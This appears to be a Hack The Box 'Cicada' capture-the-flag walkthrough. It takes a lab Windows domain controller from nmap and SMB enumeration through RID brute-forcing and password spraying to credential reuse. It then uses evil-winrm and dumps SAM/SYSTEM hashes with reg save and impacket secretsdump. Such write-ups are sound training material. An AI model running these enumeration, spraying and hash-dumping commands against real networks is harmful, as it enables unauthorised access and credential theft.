HTB-CICADA
HTB-CICADA
Great machine to clarify basic loading in enumeration and clear up misconfigurations in common windows services.
Enumeration - NMAP Portscan
NMAP -p- -sV <IP>
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-18 02:28:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration - SMB
smbclient -L //<IP>
we will Figure out that we can access /HR without further permission
smbclient -L //<IP>/HR -SMB2
wich basically leads to a .txt file with usefull content.
Now that we captured a Password the easy way, we have to get some users to use it with..
Enumeration - RID-Brute Force
crackmapexec smb <IP> -u guest -p '' --rid-brute
By Password Spray you will figure out that you can use "michael.wrightson" as a user to enumerate further with.
Enumeration - LDAP
ldapsearch -x -H ldap://<IP> -D "Cicada\\michael.wrightson" -w '<password>' -b "DC=cicada,DC=htb" "(objectClass=user)"
Inside the LDAP Results we will find information about David Orelious, who dared to implement his Password in the Deskription.
Enumeration RPC
rpcclient -U CICADA.htb\michael.wrightson <IP>
enumdomusers
enumdomgroups
Enumeration SMB Part II
crackmapexec smb <IP> -u david.orelious -p '<Password>' --shares
crackmapexec smb <IP> -u david.orelious -p '<password>' --groups
We should take a look inside the new gained access folders..
and also keep in mind that they are some interesting permissions going on..
smbclient //<IP>/dev -U CICADA\\david.orelious
we will find some hardcoded credentials of our dear emily here..
User FLAG
smbclient //<IP>/C$ -U CICADA\\emily.oscars
Privilege Escalation
evil-winrm -i <IP> -u emilly.oscars -p '<password>'
whoami /all
reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system
download sam
download system
Use the tool of your choice to dump the secrets now.. in my case i used the "impacket" toolset
secretsdump.py -sam sam -system system LOCAL
Root FLAG
Afterwards just Win-rm to the target machine and obtain the root.txt flag.
Last updated